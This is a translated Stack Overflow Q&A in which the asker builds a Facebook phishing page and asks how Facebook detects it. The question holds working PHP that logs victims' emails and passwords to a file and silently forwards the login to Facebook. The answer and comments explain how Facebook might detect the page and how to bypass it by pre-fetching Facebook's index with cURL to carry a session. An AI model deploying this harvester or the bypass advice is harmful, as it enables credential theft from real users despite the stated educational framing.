【问题标题】:Facebook phishing detectionFacebook 网络钓鱼检测
【发布时间】:2014-12-27 20:59:57
【问题描述】:

我正在做一个关于计算机安全的小任务,我目前正在研究网络钓鱼。

因此,出于教育目的,我编写了一个简单的“网络钓鱼网页”,并试图了解 Facebook 如何检测网络钓鱼欺诈网页。

我的index.html 是facebook 主页,而我编辑它是为了将用户重定向到phishing.php 页面。

phishing.php:

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>

</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了。一切正常,除了用户(我)输入的是用户名和密码,Facebook 说:

安全声明:为了您的安全,切勿输入您的 Facebook 密码 在不在 Facebook.com 上的网站上

那么 Facebook 使用哪种机制来检测此类网络钓鱼页面?

谢谢!

【问题讨论】:

  • 它可能会检查您的推荐人,看看它是否真的来自 facebook..

标签: php facebook http phishing


【解决方案1】:

我能想到 facebook 做这件事的很多方法

方法一:HTTP Referer
在您发送的每个 HTTP 请求中,都会同时发送一个 referer 以指示您来自哪里,facebook 可以简单地执行以下操作

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:会话
Facebook 可能会在他们的 index.php 页面上启动一个会话,一旦提交登录表单就会检查该页面,例如

index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这都是伪代码,第一种方法很容易绕过,因为用户可以修改引用者。

【讨论】:

  • 我对方法二有疑问:$_SESSION['coming_from_facebook'] 如何在 index.php 上设置为 false?根据您所说的,它总是设置为true,不是吗?那么它是如何进行网络钓鱼测试的呢?另外,您认为如何绕过此方法?
  • @segfolt 当且仅当您首先访问 facebook 的索引时,它始终设置为 true,因此,如果您从 facebook 索引以外的其他页面登录.. 它不起作用。跨度>
  • 所以如果我在我的phishing.phpscript 中向 Facebook.com 页面发出一个虚拟请求,我应该绕过这个方法吗?
  • 是的。您可以使用 cURL 来完成,将 cookie 保存在一个文件中以便会话持续存在,首先访问 index.php,然后登录。
  • 我有最后一个问题:为什么你说第一种方法很容易绕过,因为服务器不能强制用户使用特定的引用(据我所知)? @阿里
猜你喜欢
  • 1970-01-01
  • 2012-04-14
  • 2020-01-16
  • 1970-01-01
  • 2023-04-10
  • 1970-01-01
  • 1970-01-01
  • 2021-09-07
  • 1970-01-01
相关资源
最近更新 更多